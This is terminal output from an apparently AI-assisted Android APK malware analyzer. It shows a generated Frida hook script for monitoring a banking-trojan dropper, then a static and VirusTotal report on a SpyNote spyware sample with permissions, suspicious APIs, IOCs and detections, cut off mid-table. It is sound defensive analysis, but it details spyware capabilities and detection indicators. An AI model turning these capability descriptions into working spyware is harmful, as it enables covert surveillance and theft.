Java.
perform
(
function
() { │
│
6
console.
log
(
'[*] Brunhilda Dropper Frida Hooks Loaded'
); │
│
7
console.
log
(
'[*] Target: com.tfapasswords.app'
); │
│
8
│
│
9
// ========== HOOK 1: AccessibilityService Lifecycle ========== │
│
10
// Captures when the malicious AccessibilityService activates and processes events │
│
11
try { │
│
12
var AccessibilityService = Java.
use
(
'com.tfapasswords.app.Activities.AccessibilityService'
); │
│
13
│
│
14
AccessibilityService.onServiceConnected.implementation =
function
() { │
│
15
console.
log
(
'[CRITICAL] AccessibilityService.onServiceConnected() called - dropper activating!'
); │
│
16
console.
log
(
'[CRITICAL] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
17
this.
onServiceConnected
(); │
│
18
}; │
│
19
│
│
20
AccessibilityService.onAccessibilityEvent.implementation =
function
(event) { │
│
21
if (event != null) { │
│
22
console.
log
(
'[ACCESSIBILITY] Event Type: '
+ event.
getEventType
()); │
│
23
console.
log
(
'[ACCESSIBILITY] Package: '
+ event.
getPackageName
()); │
│
24
console.
log
(
'[ACCESSIBILITY] Class: '
+ event.
getClassName
()); │
│
25
console.
log
(
'[ACCESSIBILITY] Text: '
+ event.
getText
()); │
│
26
} │
│
27
this.
onAccessibilityEvent
(event); │
│
28
}; │
│
29
console.
log
(
'[+] Hooked AccessibilityService'
); │
│
30
}
catch
(e) { │
│
31
console.
log
(
'[-] AccessibilityService hook failed: '
+ e); │
│
32
} │
│
33
│
│
34
// ========== HOOK 2: Package Installation (Payload Delivery) ========== │
│
35
// Captures the dropper installing second-stage banking trojan │
│
36
try { │
│
37
var Intent = Java.
use
(
'android.content.Intent'
); │
│
38
Intent.setAction.implementation =
function
(action) { │
│
39
if (action && (action.
indexOf
(
'INSTALL'
) !== -
1
|| action.
indexOf
(
'PACKAGE'
) !== -
1
)) { │
│
40
console.
log
(
'[DROPPER] Intent.setAction: '
+ action); │
│
41
console.
log
(
'[DROPPER] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
42
} │
│
43
return this.
setAction
(action); │
│
44
}; │
│
45
│
│
46
var PackageInstaller = Java.
use
(
'android.content.pm.PackageInstaller'
); │
│
47
PackageInstaller.createSession.implementation =
function
(params) { │
│
48
console.
log
(
'[DROPPER] PackageInstaller.createSession called!'
); │
│
49
console.
log
(
'[DROPPER] Install reason - potential second-stage payload delivery'
); │
│
50
return this.
createSession
(params); │
│
51
}; │
│
52
console.
log
(
'[+] Hooked Package Installation'
); │
│
53
}
catch
(e) { │
│
54
console.
log
(
'[-] PackageInstaller hook failed: '
+ e); │
│
55
} │
│
56
│
│
57
// ========== HOOK 3: Window Overlay Attacks ========== │
│
58
// Captures overlay creation used for social engineering / phishing │
│
59
try { │
│
60
var WindowManager = Java.
use
(
'android.view.WindowManager'
); │
│
61
// WindowManager is an interface, hook the implementation │
│
62
var WindowManagerImpl = Java.
use
(
'android.view.WindowManagerImpl'
); │
│
63
WindowManagerImpl.addView.implementation =
function
(view, params) { │
│
64
console.
log
(
'[OVERLAY] WindowManager.addView called!'
); │
│
65
var lp = Java.
cast
(params, Java.
use
(
'android.view.WindowManager$LayoutParams'
)); │
│
66
console.
log
(
'[OVERLAY] Type: '
+ lp.type.value +
' (2038=TYPE_APPLICATION_OVERLAY)'
); │
│
67
console.
log
(
'[OVERLAY] Flags: '
+ lp.flags.value); │
│
68
console.
log
(
'[OVERLAY] View class: '
+ view.
getClass
().
getName
()); │
│
69
console.
log
(
'[OVERLAY] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
70
this.
addView
(view, params); │
│
71
}; │
│
72
console.
log
(
'[+] Hooked WindowManager overlay'
); │
│
73
}
catch
(e) { │
│
74
console.
log
(
'[-] WindowManager hook failed: '
+ e); │
│
75
} │
│
76
│
│
77
// ========== HOOK 4: Location Tracking (Geofencing) ========== │
│
78
// Captures location queries used for victim profiling or geofence evasion │
│
79
try { │
│
80
var LocationManager = Java.
use
(
'android.location.LocationManager'
); │
│
81
LocationManager.getLastKnownLocation.implementation =
function
(provider) { │
│
82
var location = this.
getLastKnownLocation
(provider); │
│
83
console.
log
(
'[LOCATION] getLastKnownLocation provider: '
+ provider); │
│
84
if (location != null) { │
│
85
console.
log
(
'[LOCATION] Lat: '
+ location.
getLatitude
() +
' Lon: '
+ location.
getLongitude
()); │
│
86
} │
│
87
return location; │
│
88
}; │
│
89
console.
log
(
'[+] Hooked LocationManager'
); │
│
90
}
catch
(e) { │
│
91
console.
log
(
'[-] LocationManager hook failed: '
+ e); │
│
92
} │
│
93
│
│
94
// ========== HOOK 5: AlarmManager (Scheduled Tasks) ========== │
│
95
// Captures alarm-based scheduling used by AccessibilityService for periodic C2 polling │
│
96
try { │
│
97
var AlarmManager = Java.
use
(
'android.app.AlarmManager'
); │
│
98
AlarmManager.setExact.implementation =
function
(type, triggerAtMillis, operation) { │
│
99
console.
log
(
'[ALARM] setExact - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │
│
100
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │
│
101
this.
setExact
(type, triggerAtMillis, operation); │
│
102
}; │
│
103
AlarmManager.setRepeating.implementation =
function
(type, triggerAtMillis, intervalMillis, operation) { │
│
104
console.
log
(
'[ALARM] setRepeating - Type: '
+ type +
', Interval: '
+ intervalMillis +
'ms'
); │
│
105
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │
│
106
this.
setRepeating
(type, triggerAtMillis, intervalMillis, operation); │
│
107
}; │
│
108
AlarmManager.set.
overload
(
'int'
,
'long'
,
'android.app.PendingIntent'
).implementation =
function
(type, triggerAtMillis, operation) { │
│
109
console.
log
(
'[ALARM] set - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │
│
110
this.
set
(type, triggerAtMillis, operation); │
│
111
}; │
│
112
console.
log
(
'[+] Hooked AlarmManager'
); │
│
113
}
catch
(e) { │
│
114
console.
log
(
'[-] AlarmManager hook failed: '
+ e); │
│
115
} │
│
116
│
│
117
// ========== HOOK 6: Network Communications (C2 Discovery) ========== │
│
118
// Captures all HTTP connections to discover dynamically loaded C2 URLs │
│
119
try { │
│
120
var URL = Java.
use
(
'java.net.URL'
); │
│
121
URL.$init.
overload
(
'java.lang.String'
).implementation =
function
(url) { │
│
122
console.
log
(
'[NETWORK] URL created: '
+ url); │
│
123
if (url.
indexOf
(
'schemas.android.com'
) === -
1
&& url.
indexOf
(
'github.com'
) === -
1
) { │
│
124
console.
log
(
'[NETWORK] *** POTENTIAL C2 URL: '
+ url +
' ***'
); │
│
125
console.
log
(
'[NETWORK] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
126
} │
│
127
return this.$
init
(url); │
│
128
}; │
│
129
│
│
130
var HttpURLConnection = Java.
use
(
'java.net.HttpURLConnection'
); │
│
131
HttpURLConnection.connect.implementation =
function
() { │
│
132
console.
log
(
'[NETWORK] HttpURLConnection.connect: '
+ this.
getURL
().
toString
()); │
│
133
this.
connect
(); │
│
134
}; │
│
135
│
│
136
// OkHttp (commonly used) │
│
137
try { │
│
138
var OkHttpClient = Java.
use
(
'okhttp3.OkHttpClient'
); │
│
139
var RealCall = Java.
use
(
'okhttp3.RealCall'
); │
│
140
RealCall.execute.implementation =
function
() { │
│
141
var request = this.
request
(); │
│
142
console.
log
(
'[OKHTTP] '
+ request.
method
() +
' '
+ request.url(
).
toString
()); │
│
143
var headers = request.
headers
(); │
│
144
for (var i =
0
; i < headers.
size
(); i++) { │
│
145
console.
log
(
'[OKHTTP] Header: '
+ headers.
name
(i) +
': '
+ headers.
value
(i)); │
│
146
} │
│
147
return this.
execute
(); │
│
148
}; │
│
149
}
catch
(e) {
/* OkHttp not present */
} │
│
150
console.
log
(
'[+] Hooked Network communications'
); │
│
151
}
catch
(e) { │
│
152
console.
log
(
'[-] Network hook failed: '
+ e); │
│
153
} │
│
154
│
│
155
// ========== HOOK 7: Reflection (Anti-Analysis/Dynamic Loading) ========== │
│
156
// Captures reflection calls that may be used to dynamically invoke dropper methods │
│
157
try { │
│
158
var Class = Java.
use
(
'java.lang.Class'
); │
│
159
Class.forName.
overload
(
'java.lang.String'
).implementation =
function
(name) { │
│
160
if (name.
indexOf
(
'com.tfapasswords'
) !== -
1
|| name.
indexOf
(
'dalvik'
) !== -
1
|| name.
indexOf
(
'dex'
) !== -
1
) { │
│
161
console.
log
(
'[REFLECTION] Class.forName: '
+ name); │
│
162
} │
│
163
return this.
forName
(name); │
│
164
}; │
│
165
console.
log
(
'[+] Hooked Reflection'
); │
│
166
}
catch
(e) { │
│
167
console.
log
(
'[-] Reflection hook failed: '
+ e); │
│
168
} │
│
169
│
│
170
// ========== HOOK 8: SharedPreferences (Encrypted Config) ========== │
│
171
// Captures access to PasswordEncryptedPreference which may store C2 config │
│
172
try { │
│
173
var SharedPreferences = Java.
use
(
'android.content.SharedPreferences'
); │
│
174
var Context = Java.
use
(
'android.content.Context'
); │
│
175
Context.getSharedPreferences.implementation =
function
(name, mode) { │
│
176
console.
log
(
'[PREFS] getSharedPreferences: '
+ name +
' mode: '
+ mode); │
│
177
return this.
getSharedPreferences
(name, mode); │
│
178
}; │
│
179
console.
log
(
'[+] Hooked SharedPreferences'
); │
│
180
}
catch
(e) { │
│
181
console.
log
(
'[-] SharedPreferences hook failed: '
+ e); │
│
182
} │
│
183
│
│
184
// ========== HOOK 9: Boot Receiver (Persistence) ========== │
│
185
try { │
│
186
var BootReceiver = Java.
use
(
'com.tfapasswords.app.Receivers.BootBroadcastReceiver'
); │
│
187
BootReceiver.onReceive.implementation =
function
(context, intent) { │
│
188
console.
log
(
'[PERSISTENCE] BootBroadcastReceiver.onReceive triggered!'
); │
│
189
console.
log
(
'[PERSISTENCE] Action: '
+ intent.
getAction
()); │
│
190
this.
onReceive
(context, intent); │
│
191
}; │
│
192
console.
log
(
'[+] Hooked BootBroadcastReceiver'
); │
│
193
}
catch
(e) { │
│
194
console.
log
(
'[-] BootBroadcastReceiver hook failed: '
+ e); │
│
195
} │
│
196
│
│
197
// ========== HOOK 10: File I/O (Payload Write) ========== │
│
198
// Captures file operations that may indicate payload being written to disk │
│
199
try { │
│
200
var FileOutputStream = Java.
use
(
'java.io.FileOutputStream'
); │
│
201
FileOutputStream.$init.
overload
(
'java.io.File'
).implementation =
function
(file) { │
│
202
var path = file.
getAbsolutePath
(); │
│
203
if (path.
indexOf
(
'.apk'
) !== -
1
|| path.
indexOf
(
'.dex'
) !== -
1
|| path.
indexOf
(
'.jar'
) !== -
1
) { │
│
204
console.
log
(
'[FILE] *** PAYLOAD WRITE: '
+ path +
' ***'
); │
│
205
console.
log
(
'[FILE] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
206
} │
│
207
return this.$
init
(file); │
│
208
}; │
│
209
console.
log
(
'[+] Hooked FileOutputStream'
); │
│
210
}
catch
(e) { │
│
211
console.
log
(
'[-] FileOutputStream hook failed: '
+ e); │
│
212
} │
│
213
│
│
214
// ========== HOOK 11: Camera Access ========== │
│
215
try { │
│
216
var Camera = Java.
use
(
'android.hardware.Camera'
); │
│
217
Camera.open.
overload
(
'int'
).implementation =
function
(cameraId) { │
│
218
console.
log
(
'[CAMERA] Camera.open(id='
+ cameraId +
') - covert capture attempt!'
); │
│
219
return this.
open
(cameraId); │
│
220
}; │
│
221
console.
log
(
'[+] Hooked Camera'
); │
│
222
}
catch
(e) { │
│
223
console.
log
(
'[-] Camera hook failed: '
+ e); │
│
224
} │
│
225
│
│
226
console.
log
(
'[*] All Brunhilda dropper hooks installed successfully'
); │
│
227
console.
log
(
'[*] Monitor output for C2 URLs, payload delivery, and overlay attacks'
); │
│
228
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/com_tfapasswords_app_20260330_111913.json
✓ Frida
script
: reports/com_tfapasswords_app_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
113.2s
JSON
Report
: reports/com_tfapasswords_app_20260330_111913.json
Frida
Script
: reports/com_tfapasswords_app_frida_hooks.js
11
:
19
:
13
(base) andrey
@andrey-lab
android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/spynote.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.
0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase
1
: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/spynote.apk │
│ Size
3868.3
KB (
3
,
961
,
188
bytes) │
│ MD5 b2c5e29222f57cf91d30d37b8ec54cc3 │
│ SHA256
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07 │
│ Package elimination.kitchen.secured │
│ App Name GoosApp │
│ Version
19.81
.
41.19
(
19814119
) │
│ SDK min=
21
target=
29
│
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
2
: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk
Level
: 💀 CRITICAL (
85
/
100
) │
│ │
│ [██████████████████████████████████░░░░░░] │
│ │
│
Permissions
:
100
/
100
│
│
Behavior
:
100
/
100
│
│
Network
:
35
/
100
│
│
Obfuscation
:
0
/
100
│
│ │
│
Suspected
: Spyware/Stalkerware │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ CRITICAL │ API Behavior │ Suspicious
API
: Device Admin │ Landroid/app/admin/DeviceAdminReceiver;… │
│ │ │ │ (i │
│ │ │ │ Landroid/app/admin/DeviceAdminReceiver;… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ CRITICAL │ Permissions │ Dangerous Permission
Combo
: │ android.permission.RECORD_AUDIO │
│ │ │ Spyware/Stalkerware │ android.permission.ACCESS_FINE_LOCATION │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: READ_SMS │ android.permission.READ_SMS │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: SEND_SMS │ android.permission.SEND_SMS │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.READ_CALL_LOG │
│ │ │ READ_CALL_LOG │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: RECORD_AUDIO │ android.permission.RECORD_AUDIO │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.ACCESS_FINE_LOCATION │
│ │ │ ACCESS_FINE_LOCATION │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.SYSTEM_ALERT_WINDOW │
│ │ │ SYSTEM_ALERT_WINDOW │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: GET_ACCOUNTS │ android.permission.GET_ACCOUNTS │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.DISABLE_KEYGUARD │
│ │ │ DISABLE_KEYGUARD │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.REQUEST_INSTALL_PACK… │
│ │ │ REQUEST_INSTALL_PACKAGES │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Window Overlay │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Landroid │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Landroid │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Dynamic Code │ Ljava/lang/ClassLoader;->loadClass (in │
│ │ │ Loading │ Landroidx/f │
│ │ │ │ Ljava/lang/ClassLoader;->loadClass (in │
│ │ │ │ Landroidx/f │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/view/accessibility/Accessibili… │
│ │ │ Service │ Landroid/view/accessibility/Accessibili… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Native Execution │ Ljava/lang/Runtime;->exec (in │
│ │ │ │ Lelimination/kitchen │
│ │ │ │ Ljava/lang/Runtime;->exec (in │
│ │ │ │ Lelimination/kitchen │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Audio Recording │ Landroid/media/MediaRecorder;-><init> │
│ │ │ │ (in Lelimina │
│ │ │ │ Landroid/media/MediaRecorder;->setOutpu… │
│ │ │ │ (in L │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: SMS Operations │ Landroid/telephony/SmsManager;->sendTex… │
│ │ │ │ (i │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Network │ Hardcoded IP Addresses │
1.0
.
0.1
│
│ │ │ │
1.1
.
1.1
│
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: CAMERA │ android.permission.CAMERA │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_CONTACTS │
│ │ │ READ_CONTACTS │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_EXTERNAL_STORAGE │
│ │ │ READ_EXTERNAL_STORAGE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.WRITE_EXTERNAL_STORA… │
│ │ │ WRITE_EXTERNAL_STORAGE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.RECEIVE_BOOT_COMPLET… │
│ │ │ RECEIVE_BOOT_COMPLETED │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.FOREGROUND_SERVICE │
│ │ │ FOREGROUND_SERVICE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_PHONE_STATE │
│ │ │ READ_PHONE_STATE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.CHANGE_WIFI_STATE │
│ │ │ CHANGE_WIFI_STATE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/reflect/Method;->invoke (in │
│ │ │ │ Landroidx/a │
│ │ │ │ Ljava/lang/reflect/Method;->invoke (in │
│ │ │ │ Landroidx/a │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
│ │ │ │ Landroid/location/LocationManager;->req… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Camera Access │ Landroid/hardware/Camera;->getParameters │
│ │ │ │ (in Lelim │
│ │ │ │ Landroid/hardware/Camera;->open (in │
│ │ │ │ Lelimination/k │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Leli │
│ │ │ │ Ljavax/crypto/Cipher;->doFinal (in │
│ │ │ │ Lelimination/ki │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ INFO │ API Behavior │ Suspicious
API
: Network │ Ljava/net/SocketImpl;-><init> (in │
│ │ │ Communication │ Landroidx/core/n │
│ │ │ │ Ljava/net/Socket;-><init> (in │
│ │ │ │ Landroidx/core/net/D │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
31
total)
Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.ACCESS_COARSE_LOCATION MEDIUM
android.permission.ACCESS_FINE_LOCATION CRITICAL
android.permission.CALL_PHONE MEDIUM
android.permission.CAMERA MEDIUM
android.permission.CHANGE_WIFI_STATE MEDIUM
android.permission.DISABLE_KEYGUARD HIGH
android.permission.FOREGROUND_SERVICE MEDIUM
android.permission.GET_ACCOUNTS HIGH
android.permission.READ_CALL_LOG HIGH
android.permission.READ_CONTACTS CRITICAL
android.permission.READ_EXTERNAL_STORAGE MEDIUM
android.permission.READ_PHONE_STATE MEDIUM
android.permission.READ_SMS HIGH
android.permission.RECEIVE_BOOT_COMPLETED MEDIUM
android.permission.RECORD_AUDIO CRITICAL
android.permission.REQUEST_INSTALL_PACKAGES HIGH
android.permission.SEND_SMS HIGH
android.permission.SYSTEM_ALERT_WINDOW HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.WRITE_EXTERNAL_STORAGE MEDIUM
android.permission.ACCESS_NETWORK_STATE INFO
android.permission.ACCESS_WIFI_STATE INFO
android.permission.INTERNET INFO
android.permission.REQUEST_DELETE_PACKAGES INFO
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS INFO
android.permission.SET_WALLPAPER INFO
android.permission.USE_FULL_SCREEN_INTENT INFO
com.android.alarm.permission.SET_ALARM INFO
com.huawei.permission.external_app_settings.USE_COMPONENT INFO
oplus.permission.OPLUS_COMPONENT_SAFE INFO
...
and
1
more normal permissions INFO
Network IOCs
Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
IP
1.0
.
0.1
IP
1.1
.
1.1
IP
8.8
.
4.4
IP
8.8
.
8.8
IP
362.0
.
0.27
Domain schemas.android.com
URL
http
:
//schemas.android.com/apk/res/android
Semantic Component Analysis (
3
findings)
Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CRITICAL receiver Device Administrator Abuse T1629 AdminReceiver
HIGH string Webinject/Overlay Terms T1417 Overlay
HIGH string Root/Superuser Access T1626 Root
Rule-based family
inference
: Banking Trojan / RAT (
confidence
:
60%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
29
/
76
(
29
malicious,
0
suspicious,
37
clean) │
│ Threat Label trojan.spymax/spynote │
│ Families spymax, spynote, andr │
│ File Type Android │
│ Common Name
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07.apk │
│ First Seen
2024
-
03
-
10
│
│ Last Analyzed
2025
-
11
-
18
│
│ Submissions
19
submissions /
7
unique sources │
│ Tags [apk] [telephony] [android] [sends-sms] [reflection] [detect-debug-environment] [checks-gps] │
│ VT Link
https
:
//www.virustotal.com/gui/file/7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07.apk |
1
.apk | ta0w2mi9g.exe | sample_01.apk | GoosApp_base.apk │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
29
malicious /
0
suspicious /
76
total
╭──────────────────────┬───────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.SpyMax.
291
│ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ Android/Spy.SpyMax.T trojan │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/SpyMax.FHPV.Gen │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/SpyMax.EV!tr │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Banker.AndroidOS.Agent.ws │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Xgen2-AOO │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.MBT │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ Trojan/Android.SpyNM.
1254825
│ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanSpy
:Android/Spynote.
374
f212d │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Evo-gen [Trj] │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/SpyMax.FHPV.Gen │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.SpyAgent.LZ │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.spymax │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Google │ Detected │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Spy.AndroidOS.Spymax │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan (
005
a5d9c1 ) │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
